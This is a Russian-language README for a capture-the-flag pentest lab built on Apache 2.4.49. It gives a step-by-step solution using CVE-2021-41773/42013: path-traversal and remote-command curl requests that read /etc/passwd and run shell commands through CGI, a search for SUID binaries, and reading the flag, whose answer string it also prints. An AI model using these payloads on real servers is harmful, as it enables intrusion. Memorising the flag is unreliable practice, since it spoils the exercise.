Files
Kubok-Regionov/CaplagOs-pentest/README.md
2025-12-22 05:19:38 +03:00

47 lines
2.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
## Информация для участников
- Образ на базе `vulhub/httpd:2.4.49`, включён `mod_cgi` и `ScriptAlias /cgi-bin/`.
- Версия Apache уязвима к CVE-2021-41773/42013 (traversal → RCE при включённом CGI).
- В контейнере есть пользователь `flagger` с флагом в `/home/flagger/flag.txt`.
- Для чтения флага подготовлен SUID-клон `cat` по пути `/opt/dir/ping`.
## Решение (пошаговый райтап)
### 1.
- `curl -I http://<ip>:<port>/` → заголовок `Server: Apache/2.4.49 (Unix)`.
- `curl http://<ip>:<port>/cgi-bin/test.sh` выдаёт `CGI is working!`, значит CGI разрешён.
### 2.
Apache 2.4.49/2.4.50 некорректно обрабатывает последовательность `.%2e/`, поэтому с `--path-as-is` можно выйти за `ScriptAlias`.
```bash
curl --path-as-is http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
```
Успешное чтение `/etc/passwd` подтверждает уязвимость.
### 3.
При включённом CGI можно вызвать системную `sh` напрямую:
```bash
curl --path-as-is -X POST \
'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
--data 'echo Content-Type: text/plain; echo; id'
```
Команда выполняется от имени `www-data`.
### 4.
Через RCE находим SUID-бинарники и видим подготовленный `/opt/dir/ping`:
```bash
curl --path-as-is -X POST 'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
--data 'echo Content-Type: text/plain; echo; find / -perm -4000 -type f 2>/dev/null'
```
Так как директория `flagger` недоступна `www-data`, используем этот SUID-клон `cat`.
### 5.
Передаём полный путь к флагу в SUID-бинарник (не забывая про заголовок для CGI):
```bash
curl --path-as-is -X POST \
'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
--data 'echo Content-Type: text/plain; echo; /opt/dir/ping /home/flagger/flag.txt'
```
Ответом придёт содержимое флага.
## Флаг
`caplag{61102b34a11186dd03f6ffd2dd2892b9fc22bd137e5d2d29c6fdd804ac45ef8c}`